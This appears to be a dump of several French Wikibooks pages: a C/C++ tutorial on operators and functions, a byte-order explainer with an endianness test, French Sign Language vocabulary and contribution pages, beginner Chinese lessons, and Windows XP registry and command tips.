[[sr:Викиверзитет]] [[sv:Wikiversity]] Programmation C C plus plus Instructions et opérations 2360 13960 2005-01-28T09:49:08Z Guillaumito 46 {{Programmation C C plus plus Première approche}} == Instructions et opérations == Les instructions sont généralement identifiées par le point virgule. C'est ce caractère qui marque la fin d'une instruction. === Exemple - Instruction vide === <pre> ; /* Instruction vide : ne fait rien ! */ </pre> Il existe plusieurs types d'instructions, qui permettent de réaliser des opérations variées. Les instructions les plus courantes sont sans doute les instructions qui effectuent des opérations, c'est-à-dire les instructions qui contiennent des expressions utilisant des opérateurs. Les principales opérations utilisables en C/C++ sont les suivantes : * les affectations : <pre> variable = valeur </pre> Note : Les affectations ne sont pas des instructions. Ce sont bien des opérations qui renvoient la valeur affectée. On peut donc effectuer des affectations multiples : <pre> i=j=k=m=0; /* Annule les variables i, j, k et m. */ </pre> * les opérations de base du langage : <pre> valeur op valeur </pre> où op est l'un des opérateurs suivants : +, -, *, /, %, &, |, ^, ~, <<, >>. Note : '/' représente la division euclidienne pour les entiers et la division classique pour les flottants. '%' représente la congruence (c'est-à-dire le reste de la division euclidienne). '|' et '&' représentent respectivement le ou et le et binaire (c'est-à-dire bit à bit : 1 et 1 = 1, 0 et x = 0, 1 ou x = 1 et 0 ou 0 = 0). '^' représente le ou exclusif (1 xor 1 = 0, 0 xor 0 = 0 et 1 xor 0 = 1). '~' représente la négation binaire (1 devient 0 et vice versa). '<<' et '>>' effectuent un décalage binaire vers la gauche et la droite respectivement, d'un nombre de bits égal à la valeur du second opérande. * les opérations des autres opérateurs du langage. Le C et le C++ disposent d'opérateurs un peu plus évolués que les opérateurs permettant de réaliser les opérations de base du langage. Ces opérateurs sont les opérateurs d'incrémentation et de décrémentation ++ et --, l'opérateur ternaire d'évaluation conditionnelle d'une expression (opérateur ?:) et l'opérateur virgule (opérateur ,). La syntaxe de ces opérateurs est décrite ci-dessous. * les appels de fonctions. Nous verrons comment écrire et appeler des fonctions dans les sections suivantes. Bien entendu, la plupart des instructions contiendront des affectations. Ce sont donc sans doute les affectations qui sont les plus utilisées parmi les diverses opérations réalisables, aussi le C et le C++ permettent-ils l'utilisation d'affectations composées. Une affectation composée est une opération permettant de réaliser en une seule étape une opération normale et l'affectation de son résultat dans la variable servant de premier opérande. Les affectations composées utilisent la syntaxe suivante : <pre> variable op_aff valeur </pre> où op_aff est l'un des opérateurs suivants : '+=', '-=', '*=', etc. Cette syntaxe est strictement équivalente à : <pre> variable = variable op valeur </pre> et permet donc de modifier la valeur de variable en lui appliquant l'opérateur op. === Exemple - Affectation composée === <pre> i*=2; /* Multiplie i par 2 : i = i * 2. */ </pre> Les opérateurs d'incrémentation et de décrémentation ++ et -- s'appliquent comme des préfixes ou des suffixes sur les variables. Lorsqu'ils sont en préfixe, la variable est incrémentée ou décrémentée, puis sa valeur est renvoyée. S'ils sont en suffixe, la valeur de la variable est renvoyée, puis la variable est incrémentée ou décrémentée. Par exemple : <pre> int i=2,j,k; j=++i; /* À la fin de cette instruction, i et j valent 3. */ k=j++; /* À la fin de cette ligne, k vaut 3 et j vaut 4. */ </pre> Note : On prendra garde à n'utiliser les opérateurs d'incrémentation et de décrémentation postfixés que lorsque cela est réellement nécessaire. En effet, ces opérateurs doivent contruire un objet temporaire pour renvoyer la valeur de la variable avant incrémentation ou décrémentation. Si cet objet temporaire n'est pas utilisé, il est préférable d'utiliser les versions préfixées de ces opérateurs. L'opérateur ternaire d'évaluation conditionnelle ?: est le seul opérateur qui demande 3 paramètres (à part l'opérateur fonctionnel () des fonctions, qui admet n paramètres, et que l'on décrira plus tard). Cet opérateur permet de réaliser un test sur une condition et de calculer une expression ou une autre selon le résultat de ce test. La syntaxe de cet opérateur est la suivante : <pre> test ? expression1 : expression2 </pre> Dans cette syntaxe, test est évalué en premier. Son résultat doit être booléen ou entier. Si test est vrai (ou si sa valeur est non nulle), expression1 est calculée et sa valeur est renvoyée. Sinon, c'est la valeur de expression2 qui est renvoyée. Par exemple, l'expression : <pre> Min=(i<j)?i:j; </pre> calcule le minimum de i et de j. L'opérateur virgule, quant à lui, permet d'évaluer plusieurs expressions successivement et de renvoyer la valeur de la dernière expression. La syntaxe de cet opérateur est la suivante : expression1,expression2[,expression3[...]] où expression1, expression2, etc. sont les expressions à évaluer. Les expressions sont évaluées de gauche à droite, puis le type et la valeur de la dernière expression sont utilisés pour renvoyer le résultat. Par exemple, à l'issue des deux lignes suivantes : <pre> double r = 5; int i = r*3,1; </pre> r vaut 5 et i vaut 1. r*3 est calculé pour rien. Note : Ces deux derniers opérateurs peuvent nuire gravement à la lisibilité des programmes. Il est toujours possible de réécrire les lignes utilisant l'opérateur ternaire avec un test (voir la Section 2.1 pour la syntaxe des tests en C/C++). De même, on peut toujours décomposer une expression utilisant l'opérateur virgule en deux instructions distinctes. Ce dernier opérateur ne devra donc jamais être utilisé. Il est possible de créer des instructions composées, constituées d'instructions plus simples. Les instructions composées se présentent sous la forme de bloc d'instructions où les instructions contenues sont encadrées d'accolades ouvrantes et fermantes (caractères '{ et '}'). === Exemple - Instruction composée === <pre> { i=1; j=i+3*g; } </pre> Note : Un bloc d'instructions est considéré comme une instruction unique. Il est donc inutile de mettre un point virgule pour marquer l'instruction, puisque le bloc lui-même est une instruction. Enfin, il existe tout un jeu d'instructions qui permettent de modifier le cours de l'exécution du programme, comme les tests, les boucles et les sauts. Ces instructions seront décrites en détail dans le chapitre traitant des structures de contrôle. Programmation C C plus plus Les fonctions 2361 13961 2005-01-28T10:16:41Z Guillaumito 46 {{Programmation C C plus plus Première approche}} == Les fonctions == Le C++ ne permet de faire que des fonctions, pas de procédures. Une procédure peut être faite en utilisant une fonction ne renvoyant pas de valeur ou en ignorant la valeur retournée. === Définition des fonctions === La définition des fonctions se fait comme suit : <pre> type identificateur(paramètres) { ... /* Instructions de la fonction. */ } </pre> type est le type de la valeur renvoyée, identificateur est le nom de la fonction, et paramètres est une liste de paramètres. La syntaxe de la liste de paramètres est la suivante : <pre> type variable [= valeur] [, type variable [= valeur] [...]] </pre> où type est le type du paramètre variable qui le suit et valeur sa valeur par défaut. La valeur par défaut d'un paramètre est la valeur que ce paramètre prend si aucune valeur ne lui est attribuée lors de l'appel de la fonction. Note : L'initialisation des paramètres de fonctions n'est possible qu'en C++, le C n'accepte pas cette syntaxe. La valeur de la fonction à renvoyer est spécifiée en utilisant la commande return, dont la syntaxe est : <pre> return valeur; </pre> ==== Exemple - Définition de fonction ==== <pre> int somme(int i, int j) { return i+j; } </pre> Si une fonction ne renvoie pas de valeur, on lui donnera le type void. Si elle n'attend pas de paramètres, sa liste de paramètres sera void ou n'existera pas. Il n'est pas nécessaire de mettre une instruction return à la fin d'une fonction qui ne renvoie pas de valeur. ==== Exemple - Définition de procédure ==== <pre> void rien() /* Fonction n'attendant pas de paramètres */ { /* et ne renvoyant pas de valeur. */ return; /* Cette ligne est facultative. */ } </pre> === Appel des fonctions === L'appel d'une fonction se fait en donnant son nom, puis les valeurs de ses paramètres entre parenthèses. Attention ! S'il n'y a pas de paramètres, il faut quand même mettre les parenthèses, sinon la fonction n'est pas appelée. ==== Exemple - Appel de fonction ==== <pre> int i=somme(2,3); rien(); </pre> Si la déclaration comprend des valeurs par défaut pour des paramètres (C++ seulement), ces valeurs sont utilisées lorsque ces paramètres ne sont pas fournis lors de l'appel. Si un paramètre est manquant, alors tous les paramètres qui le suivent doivent eux aussi être omis. Il en résulte que seuls les derniers paramètres d'une fonction peuvent avoir des valeurs par défaut. Par exemple : <pre> int test(int i = 0, int j = 2) { return i/j; } </pre> L'appel de la fonction test(8) est valide. Comme on ne précise pas le dernier paramètre, j est initialisé à 2. Le résultat obtenu est donc 4. De même, l'appel test() est valide : dans ce cas i vaut 0 et j vaut 2. En revanche, il est impossible d'appeler la fonction test en ne précisant que la valeur de j. Enfin, l'expression « int test(int i=0, int j) {...} » serait invalide, car si on ne passait pas deux paramètres, j ne serait pas initialisé. === Déclaration des fonctions === Toute fonction doit être déclarée avant d'être appelée pour la première fois. La définition d'une fonction peut faire office de déclaration. Il peut se trouver des situations où une fonction doit être appelée dans une autre fonction définie avant elle. Comme cette fonction n'est pas définie au moment de l'appel, elle doit être déclarée. De même, il est courant d'avoir à appeler une fonction définie dans un autre fichier que le fichier d'où se fait l'appel. Encore une fois, il est nécessaire de déclarer ces fonctions. Le rôle des déclarations est donc de signaler l'existence des fonctions aux compilateurs afin de les utiliser, tout en reportant leur définition plus loin ou dans un autre fichier. La syntaxe de la déclaration d'une fonction est la suivante : <pre> type identificateur(paramètres); </pre> où type est le type de la valeur renvoyée par la fonction, identificateur est son nom et paramètres la liste des types des paramètres que la fonction admet, éventuellement avec leurs valeurs par défaut, et séparés par des virgules. ==== Exemple - Déclaration de fonction ==== <pre> int Min(int, int); /* Déclaration de la fonction minimum */ /* définie plus loin. */ /* Fonction principale. */ int main(void) { int i = Min(2,3); /* Appel à la fonction Min, déjà déclarée. */ return 0; } /* Définition de la fonction min. */ int Min(int i, int j) { if (i<j) return i; else return j; } </pre> Si l'on donne des valeurs par défaut différentes aux paramètres d'une fonction dans plusieurs déclarations différentes, les valeurs par défaut utilisées sont celles de la déclaration visible lors de l'appel de la fonction. Si plusieurs déclarations sont visibles et entrent en conflit au niveau des valeurs par défaut des paramètres de la fonction, le compilateur ne saura pas quelle déclaration utiliser et signalera une erreur à la compilation. Enfin, il est possible de compléter la liste des valeurs par défaut de la déclaration d'une fonction dans sa définition. Dans ce cas, les valeurs par défaut spécifiées dans la définition ne doivent pas entrer en conflit avec celles spécifiées dans la déclaration visible au moment de la définition, faute de quoi le compilateur signalera une erreur. === Surcharge des fonctions === Il est interdit en C de définir plusieurs fonctions qui portent le même nom. En C++, cette interdiction est levée, moyennant quelques précautions. Le compilateur peut différencier deux fonctions en regardant le type des paramètres qu'elle reçoit. La liste de ces types s'appelle la signature de la fonction. En revanche, le type du résultat de la fonction ne permet pas de l'identifier, car le résultat peut ne pas être utilisé ou peut être converti en une valeur d'un autre type avant d'être utilisé après l'appel de cette fonction. Il est donc possible de faire des fonctions de même nom (on les appelle alors des surcharges) si et seulement si toutes les fonctions portant ce nom peuvent être distinguées par leurs signatures. La surcharge qui sera appelée sera celle dont la signature est la plus proche des valeurs passées en paramètre lors de l'appel. ==== Exemple - Surcharge de fonctions ==== <pre> float test(int i, int j) { return (float) i+j; } float test(float i, float j) { return i*j; } </pre> Ces deux fonctions portent le même nom, et le compilateur les acceptera toutes les deux. Lors de l'appel de test(2,3), ce sera la première qui sera appelée, car 2 et 3 sont des entiers. Lors de l'appel de test(2.5,3.2), ce sera la deuxième, parce que 2.5 et 3.2 sont réels. Attention ! Dans un appel tel que test(2.5,3), le flottant 2.5 sera converti en entier et la première fonction sera appelée. Il convient donc de faire très attention aux mécanismes de surcharge du langage, et de vérifier les règles de priorité utilisées par le compilateur. On veillera à ne pas utiliser des fonctions surchargées dont les paramètres ont des valeurs par défaut, car le compilateur ne pourrait pas faire la distinction entre ces fonctions. D'une manière générale, le compilateur dispose d'un ensemble de règles (dont la présentation dépasse le cadre de ce livre) qui lui permettent de déterminer la meilleure fonction à appeler étant donné un jeu de paramètres. Si, lors de la recherche de la fonction à utiliser, le compilateur trouve des ambiguïtés, il génére une erreur. ==== Fonctions inline ==== Le C++ dispose du mot clé inline, qui permet de modifier la méthode d'implémentation des fonctions. Placé devant la déclaration d'une fonction, il propose au compilateur de ne pas instancier cette fonction. Cela signifie que l'on désire que le compilateur remplace l'appel de la fonction par le code correspondant. Si la fonction est grosse ou si elle est appelée souvent, le programme devient plus gros, puisque la fonction est réécrite à chaque fois qu'elle est appelée. En revanche, il devient nettement plus rapide, puisque les mécanismes d'appel de fonctions, de passage des paramètres et de la valeur de retour sont ainsi évités. De plus, le compilateur peut effectuer des optimisations additionnelles qu'il n'aurait pas pu faire si la fonction n'était pas inlinée. En pratique, on réservera cette technique pour les petites fonctions appelées dans du code devant être rapide (à l'intérieur des boucles par exemple), ou pour les fonctions permettant de lire des valeurs dans des variables. Cependant, il faut se méfier. Le mot clé inline est un indice indiquant au compilateur de faire des fonctions inline. Il n'y est pas obligé. La fonction peut donc très bien être implémentée classiquement. Pire, elle peut être implémentée des deux manières, selon les mécanismes d'optimisation du compilateur. De même, le compilateur peut également inliner les fonctions normales afin d'optimiser les performances du programme. De plus, il faut connaître les restrictions des fonctions inline : * elles ne peuvent pas être récursives ; * elles ne sont pas instanciées, donc on ne peut pas faire de pointeur sur une fonction inline. Si l'une de ces deux conditions n'est pas vérifiée pour une fonction, le compilateur l'implémentera classiquement (elle ne sera donc pas inline). Enfin, du fait que les fonctions inline sont insérées telles quelles aux endroits où elles sont appelées, il est nécessaire qu'elles soient complètement définies avant leur appel. Cela signifie que, contrairement aux fonctions classiques, il n'est pas possible de se contenter de les déclarer pour les appeler, et de fournir leur définition dans un fichier séparé. Dans ce cas en effet, le compilateur générerait des références externes sur ces fonctions, et n'insérerait pas leur code. Ces références ne seraient pas résolues à l'édition de lien, car il ne génère également pas les fonctions inline, puisqu'elles sont supposées être insérées sur place lorsqu'on les utilise. Les notions de compilation dans des fichiers séparés et d'édition de liens seront présentées en détail dans le Chapitre 6. ==== Exemple - Fonction inline ==== <pre> inline int Max(int i, int j) { if (i>j) return i; else return j; } </pre> Pour ce type de fonction, il est tout à fait justifié d'utiliser le mot clé inline. === Fonctions statiques === Par défaut, lorsqu'une fonction est définie dans un fichier C/C++, elle peut être utilisée dans tout autre fichier pourvu qu'elle soit déclarée avant son utilisation. Dans ce cas, la fonction est dite externe. Il peut cependant être intéressant de définir des fonctions locales à un fichier, soit afin de résoudre des conflits de noms (entre deux fonctions de même nom et de même signature mais dans deux fichiers différents), soit parce que la fonction est uniquement d'intérêt local. Le C et le C++ fournissent donc le mot clé static qui, une fois placé devant la définition et les éventuelles déclarations d'une fonction, la rend unique et utilisable uniquement dans ce fichier. À part ce détail, les fonctions statiques s'utilisent exactement comme des fonctions classiques. ==== Exemple - Fonction statique ==== <pre> // Déclaration de fonction statique : static int locale1(void); /* Définition de fonction statique : */ static int locale2(int i, float j) { return i*i+j; } </pre> Les techniques permettant de découper un programme en plusieurs fichiers sources et de générer les fichiers binaires à partir de ces fichiers seront décrites dans le chapitre traitant de la modularité des programmes. === Fonctions prenant un nombre variable de paramètres === En général, les fonctions ont un nombre constant de paramètres. Pour les fonctions qui ont des paramètres par défaut en C++, le nombre de paramètres peut apparaître variable à l'appel de la fonction, mais en réalité, la fonction utilise toujours le même nombre de paramètres. Le C et le C++ disposent toutefois d'un mécanisme qui permet au programmeur de réaliser des fonctions dont le nombre et le type des paramètres sont variables. Nous verrons plus loin que les fonctions d'entrée / sortie du C sont des fonctions dont la liste des arguments n'est pas fixée, cela afin de pouvoir réaliser un nombre arbitraire d'entrées / sorties, et ce sur n'importe quel type prédéfini. En général, les fonctions dont la liste des paramètres est arbitrairement longue disposent d'un critère pour savoir quel est le dernier paramètre. Ce critère peut être le nombre de paramètres, qui peut être fourni en premier paramètre à la fonction, ou une valeur de paramètre particulière qui détermine la fin de la liste par exemple. On peut aussi définir les paramètres qui suivent le premier paramètre à l'aide d'une chaîne de caractères. Pour indiquer au compilateur qu'une fonction peut accepter une liste de paramètres variable, il faut simplement utiliser des points de suspensions dans la liste des paramètres : <pre> type identificateur(paramètres, ...) </pre> dans les déclarations et la définition de la fonction. Dans tous les cas, il est nécessaire que la fonction ait au moins un paramètre classique. Les paramètres classiques doivent impérativement être avant les points de suspensions. La difficulté apparaît en fait dans la manière de récupérer les paramètres de la liste de paramètres dans la définition de la fonction. Les mécanismes de passage des paramètres étant très dépendants de la machine (et du compilateur), un jeu de macros a été défini dans le fichier d'en-tête stdarg.h pour faciliter l'accès aux paramètres de la liste. Pour en savoir plus sur les macros et les fichiers d'en-tête, consulter le Chapitre 5. Pour l'instant, sachez seulement qu'il faut ajouter la ligne suivante : <pre> #include <stdarg.h> </pre> au début de votre programme. Cela permet d'utiliser le type va_list et les expressions va_start, va_arg et va_end pour récupérer les arguments de la liste de paramètres variable, un à un. Le principe est simple. Dans la fonction, vous devez déclarer une variable de type va_list. Puis, vous devez initialiser cette variable avec la syntaxe suivante : <pre> va_start(variable, paramètre); </pre> où variable est le nom de la variable de type va_list que vous venez de créer, et paramètre est le dernier paramètre classique de la fonction. Dès que variable est initialisée, vous pouvez récupérer un à un les paramètres à l'aide de l'expression suivante : <pre> va_arg(variable, type) </pre> qui renvoie le paramètre en cours avec le type type et met à jour variable pour passer au paramètre suivant. Vous pouvez utiliser cette expression autant de fois que vous le désirez, elle retourne à chaque fois un nouveau paramètre. Lorsque le nombre de paramètres correct a été récupéré, vous devez détruire la variable variable à l'aide de la syntaxe suivante : <pre> va_end(variable); </pre> Il est possible de recommencer ces étapes autant de fois que l'on veut, la seule chose qui compte est de bien faire l'initialisation avec va_start et de bien terminer la procédure avec va_end à chaque fois. Note : Il existe une restriction sur les types des paramètres des listes variables d'arguments. Lors de l'appel des fonctions, un certain nombre de traitements a lieu sur les paramètres. En particulier, des promotions implicites ont lieu, ce qui se traduit par le fait que les paramètres réellement passés aux fonctions ne sont pas du type déclaré. Le compilateur continue de faire les vérifications de type, mais en interne, un type plus grand peut être utilisé pour passer les valeurs des paramètres. En particulier, les types char et short ne sont pas utilisés : les paramètres sont toujours promus aux type int ou long int. Cela implique que les seuls types que vous pouvez utiliser sont les types cibles des promotions et les types qui ne sont pas sujets aux promotions (pointeurs, structures et unions). Les types cibles dans les promotions sont déterminés comme suit : * les types char, signed char, unsigned char, short int ou unsigned short int sont promus en int si ce type est capable d'accepter toutes leurs valeurs. Si int est insuffisant, unsigned int est utilisé ; * les types des énumérations (voir plus loin pour la définition des énumérations) et wchar_t sont promus en int, unsigned int, long ou unsigned long selon leurs capacités. Le premier type capable de conserver la plage de valeur du type à promouvoir est utilisé ; * les valeurs des champs de bits sont converties en int ou unsigned int selon la taille du champ de bit (voir plus loin pour la définition des champs de bits) ; * les valeurs de type float sont converties en double. ==== Exemple - Fonction à nombre de paramètres variable ==== <pre> #include <stdarg.h> /* Fonction effectuant la somme de "compte" paramètres : */ double somme(int compte, ...) { double resultat=0; /* Variable stockant la somme. */ va_list varg; /* Variable identifiant le prochain paramètre. */ va_start(varg, compte); /* Initialisation de la liste. */ while (compte!=0) /* Parcours de la liste. */ { resultat=resultat+va_arg(varg, double); compte=compte-1; } va_end(varg); /* Terminaison. */ return resultat; } </pre> La fonction somme effectue la somme de compte flottants (float ou double) et la renvoie dans un double. Pour plus de détails sur la structure de contrôle while, voir Section 2.3. Représentation des données Ordre des octets 2362 21781 2005-09-21T07:35:06Z Guillaumito 46 /* Opérations dépendantes de l'ordre des octets */ {{Représentation des données}} Lorsque des données sont représentées sur plus d'un octet, l'ordre dans lequel les octets sont placés en mémoire peut être différent suivant les architectures, en fait il existe deux possibilités : * l'octet de poids fort vient en premier (il est placé à la plus petite adresse) ; * l'octet de poids faible vient en premier. En anglais, on parle de '''big endian''' et de '''little endian'''. == Opérations dépendantes de l'ordre des octets == === Unions === Les unions telles qu'utilisées en [[Programmation C|C]] ne sont pas portables. === Transtypages de pointeurs === Les transtypages de pointeurs tels qu'utilisés en [[Programmation C|C]] ne sont pas portables. == Tester l'ordre des octets == <pre> #include <stdio.h> union TestEndian { unsigned long total; struct { unsigned char octet1; unsigned char octet2; unsigned char octet3; unsigned char octet4; } octets; }; int main(int argc, char ** argv) { union TestEndian te; te.total = 0xFF; if (te.octets.octet1 == 0xFF) { printf("little endian\n"); } else { printf("big endian\n"); } } </pre> LSF/Vocab/humanitaire 2363 13963 2005-01-28T13:15:40Z Kowey 113 {{LSF vocabulaire|vid=LSF Vocab humanitaire.ogg|thumb=LSF VocabThumb humanitaire.jpeg|français=humanitaire|mimeo=|mot=humanitaire|config=}} == Voir aussi == [[Category:LSF/Vocabulaire/Pas trié|humanitaire]] [[Category:LSF/Vocabulaire fr à lsf|humanitaire]] LSF/Contribuer 2364 13964 2005-03-06T21:33:49Z Kowey 113 ==Comment contribuer à ce wikilivre ?== Vous êtes sourds ou entendants signant ? Votre contibution sera d'une grande utilité ! * Pour modifier le '''texte''' il suffit de cliquer sur "modifier" en haut des articles. * Pour avoir un '''aperçu de la structure''' du wikilivre sur la LSF, allez voir le [[LSF/Planning]], plein de '''[ [ lien : nom de la page ] ]''' et de pages sont encore à créer... afin que ce wikilivre puisse être '''un outil utlisable par des étudiants en LSF''' ! === Guide pour intègrer des photos, vidéos et dessins === Vous pouvez mettre uniquement les vidéos en .ogg la seule avec licence libre !! ([[meta:Video_policy]] - en anglais). Voir les guides: * [[/Windows]] (guide pour XP seulement) * [[/OS X]] (Mac) * [[/Linux]] Voir aussi: * [[w:Aide:Comment_importer_une_image]] == Tâches == Vous possèdez un '''appareil photo numérique'''... alors vous pouvez contribuer en mettant vos signes en photos ou vidéos (regardez notre Guide dessous) Vous dessinez alors '''un scanner''' suffit !! Pas d'appareil photo numérique? Vous pouvez... * [[LSF/Proposez un mot|Proposez un mot]] que vous connaisez pas ou que vous pensez utile * Rediger des emails demandant de l'aide / collobaration des autres sites webs, France 5, etc (mais ne les envoyez pas tout de suite! il faut attendre que le site soit suffisament présentable) * Inventer des exercices * Trouver/écrire des textes à traduire * Proposer des mots de vocabulaire que vous cherchez souvent * Encourager des amis sourds à venir contribuer sur le site * Améliorer la présentation du site * Trouver des thèmes pour les mots qui ne sont pas encore trié [[:Catégorie:LSF/Vocabulaire/Pas_trié]] * Identifier les configurations et les miméotechniques pour les mots de vocabulaire * Plannifier des [[LSF/Leçons|leçons pédagogiques]] {{ébauche}} LSF/Vocab/Automatique 2365 13965 2005-01-28T13:18:16Z Kowey 113 LSF/Vocab/Automatique déplacé vers LSF/Vocab/automatique #REDIRECT [[LSF/Vocab/automatique]] Cours élémentaires III : Dire bonjour 2368 24075 2005-10-23T16:20:40Z 80.9.92.134 Pour dire bonjour en chinois il faut prendre en compte la personne que l'on a en face de soi : un enfant, un adulte, ....? il faut prendre en compte la relation : un ami, une connaissance , un inconnu ? '''Tout d'abord il faut savoir que dire bonjour est une formule toute faite ou l'on ne change que le sujet selon les situations.''' Pour dire bonjour a un ami on dira : Nǐ 你(3ème ton) hǎo 好(3ème ton) ...littéralement cela se traduit par Tu (nǐ:你) Bien (hǎo:好). Attention à la prononciation : il faut prononcer "Nǐ" comme un 2ème ton, car c'est la règle quand deux 3ème ton se suivent. Si l'on veut introduire la marque de politesse on dira Nín 您(2ème)hao, ce qui correspond au Vous de politesse francais.<br/> Dans le cadre d'un élève qui dit bonjour a un professeur on pourra dire : soit Nín hǎo 您好 soit Lǎoshī hǎo 老师好, ce qui se traduit par Bonjour professeur. De DIRE BONJOUR, on peut aller très simplement vers: COMMENT ALLEZ-VOUS? qui se dit ainsi: Nǐ hǎo ma? (le ma se prononçant sur le ton neutre et indiquant l'interrogation). '''retour à l'[[Enseignement du chinois]]''' Cours avancés I : Construire une phrase simple 2369 23733 2005-10-20T06:37:04Z 82.67.76.225 /* Les pronoms personnels */ En chine on peut vous demander d'où vous venez, comment vous vous prénommez.... bref on peut vous demander de vous présenter.<br/> Pour cela il faut connaitre la construction d'une phrase simple. == Les pronoms personnels == Ils sont placés (le plus souvent) en debut de phrase. Je : 我 wǒ (3ème ton) Tu : 你 / 妳 nǐ (3ème ton) Il/Elle : 他 / 她 tā(1er ton) Nous : 我们 wǒmen (ton neutre pour le Men) Vous : 你们 nǐmen Ils/Elles : 他们 / 她们 tāmen *'''Il faut savoir que le féminin ne se distingue pas du masculin a l'oral. Ainsi que le pluriel, qui ne se marque que par le pronom, il n'a aucun effet sur le verbe ( et c'est aussi valable pour l'écrit ).''' *Pour les pronoms pluriels, il suffit d'ajouter 们 -men. *您 nín correspond à la forme de politesse du 你 nǐ (comparable au vous de politesse français) == Le verbe == Le verbe , en chinois, ne se conjugue pas. En effet la phrase basique se contruit autour d'un verbe à l'infinitif, et puisqu'il n'y a pas de conjugaisons la notion de temps n'affecte pas le verbe. Schéma de construction de la phrase: '''Sujet+ Verbe+ Complement.''' le verbe être : Shi 是 (4ème ton) (Le verbe être ne correspond pas exactement à l'utilisation française sert pour introduire un état, il n'est pas utilisé par exemple pour dire la chine est grande ) exemple: Je suis francais. Wǒ shi Faguórén. (我是法国人 respectivement 1er ton , 3ème ton, 4ème ton).<br/> 法国人 Faguórén = de nationalité francaise (France/homme). le verbe s'appeller : Xing (姓 1er ton)(Il a deux formes, elles s'utilisent de manière différente. Nous retiendrons celle qui consiste à introduire Nom de famille et Prénom) exemple: Je m'appelle Wang Wen. Wǒ xing Wang Wen (我姓王文). '''retour à l'[[Enseignement du chinois]]''' LSF/Vocab/preferer 2370 13969 2005-01-29T16:00:13Z Kowey 113 {{LSF vocabulaire|vid=LSF Vocab preferer.ogg|thumb=LSF VocabThumb preferer.jpeg|français=preferer|mimeo=|mot=preferer|config=}} == Voir aussi == [[Category:LSF/Vocabulaire/Pas trié|preferer]] [[Category:LSF/Vocabulaire fr à lsf|preferer]] Astuces pour Windows XP 2374 39743 2006-04-06T13:39:01Z 80.15.201.17 /* Console de récupération */ {{ébauche}} [[Catégorie:Windows]] Voici des '''astuces pour Windows XP''', pour aller dans la base de registre de [[Microsoft Windows XP|Windows XP]] : allez dans le '''Menu Démarrer''', cliquez sur '''Éxécuter'''. Tapez ensuite ''regedit'' dans la boîte de dialogue qui apparaît. == Outils de Windows XP == === Pare-feu de Windows === Allez dans le '''Menu Démarrer''', '''Paramètres''', '''Connexions'''. Sélectionnez votre connexion, puis sélectionnez '''Propriétés''' avec le bouton droit de votre souris. Cliquez sur l'onglet '''Avancé''' puis cochez la case ''Protéger mon ordinateur et le réseau en limitant ou interdisant l'accès à cet ordinateur à partir d'Internet''. === Console de récupération === Pour installer la console de récupération, placez votre cd Windows Xp dans votre lecteur ( D: étant la lettre par défault si vous n'avez pas de partiton sinon vérifiez dans votre explorateur) allez dans le '''Menu Démarrer''', cliquez sur '''Éxécuter''', puis tapez '''D:\I386\WINNT32.EXE /CMDCONS'''. == Applications de Windows XP == === Comment désactiver/réactiver l'outil de compression === Pour désactiver l'outil de compression : Cliquez sur le '''Menu Démarrer''', puis sur '''Exécuter''', et tapez : * '''regsvr32 /u %windir%\system32\zipfldr.dll''' , '''Ok'''. * '''regsvr32 /u %windir%\system32\cabview.dll''' , '''Ok'''. * puis redémarrez le PC. Pour réactiver l'outil de compression intégré : Cliquez sur le '''Menu Démarrer''', puis sur '''Exécuter''', et tapez : * '''regsvr32 %windir%\system32\zipfldr.dll''' , '''Ok'''. * '''regsvr32 %windir%\system32\cabview.dll''' , '''Ok'''. * puis redémarrez le PC. === Inscrire la date et l'heure dans le Bloc-Note === Appuyez sur '''F5'''. === Parcourir le contenu d'un CD === Pour parcourir le contenu d'un CD que vous insérez dans votre lecteur, maintenez la touche '''Tabulation''' enfoncée. === Envoyer vers === Personnalisez ce menu en y ajoutant vos dossier personnels :<br> Aller dans le '''Menu Démarrer''', cliquez sur '''Exécuter''', puis tapez ''sendto''. Glissez ensuite dans le dossier qui s'affiche les éléments que vous voulez y voir figurer. == Personnalisation de Windows == === Supprimer le mouchard de Microsoft === Cliquez sur le '''Menu Démarrer''' et choisissez la commande '''Exécuter''' dans la boite de dialogue écrivez ceci :<br> '''regsvr32.exe -u c:\windows\system32\regwizc.dll''' === Optimiser le disque dur === Aller dans le répertoire '''HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\MemoryManagement\''' de la base de registre.<br> Dans le panneau de droite, créez une valeur '''DWORD''' nommée ''LargeSystemCache''. Faites un double-clic pour lui donner la valeur ''1'' (hexadécimal) et enfin redémarrez. REM: ''cette valeur existe déja parfois'' === Optimiser l'arrêt de Windows === *Lorsque vous voulez éteindre le PC, il est possible qu'un programme ne puisse pas être arrêté car il est planté. Windows vous demande alors ce qu'il doit faire et ne s'arrête pas automatiquement. Cette astuce stoppe tous les programmes lors de la fermeture. Allez dans la base de registre et cherchez la clef suivante : '''HKEY_CURRENT_USER\Control Panel\Desktop'''<br> Créez la Valeur Chaîne ''AutoEndTasks'' (si elle ne figure pas dans la fenêtre de gauche...) et mettez la valeur ''1''. *Supprimer le sons d'arrêt windows (panneau de config - > Sons...) *Allez dans "Démarrer/Exécuter et tapez "regedit" et cherchez la clef suivante : HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer Ensuite il suffit de modifier la Valeur Chaîne "AlwaysUnloadDLL" et d'y affecter la valeur "1". *Cherchez la clef suivante : HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control Ensuite il suffit de modifier la Valeur Chaîne "WaitToKillServiceTimeout" et d'y affecter la valeur "10000". *Pour diminuer le temps d'attente avant que Windows vous annonce que l'application xxx ne répond plus : [HKEY_CURRENT_USER\Control Panel\Desktop] Cliquez-droit sur la clé WaitToKillAppTimeout et choisissez Modifier puis changez la valeur inscrite en "1". Par défaut cette valeur est à 20000. Vous pouvez sans soucis mettre 1000 (1 seconde), puis si vous le souhaitez, baissez cette valeur par pas de 50, jusqu'a l'apparition d' un message d' erreur (cela dépend de la puissance de votre configuration). *Ouvrez : HKEY_CURRENT_USER\Control Panel\Desktop Dans le panneau de droite, faites un clic droit sur la valeur : HungAppTimeout. Choisissez " Modifier " et changez la valeur inscrite en inscrivant "1000" (par défaut 5000). Cela diminuera le temps d'attente avant que Windows vous annonce que l'application bloquée ne répond plus. === Quelques raccourcis === Voici le chemin de quelques raccourcis utiles de Windows XP : * Explorer : ''C:\WINDOWS\explorer.exe'' * Panneau de configuration : ''C:\WINDOWS\system32\control.exe'' * Gestionnaire des taches : ''C:\WINDOWS\system32\taskmgr.exe'' * Base de registre : ''C:\WINDOWS\regedit.exe'' * Gestion des disques : 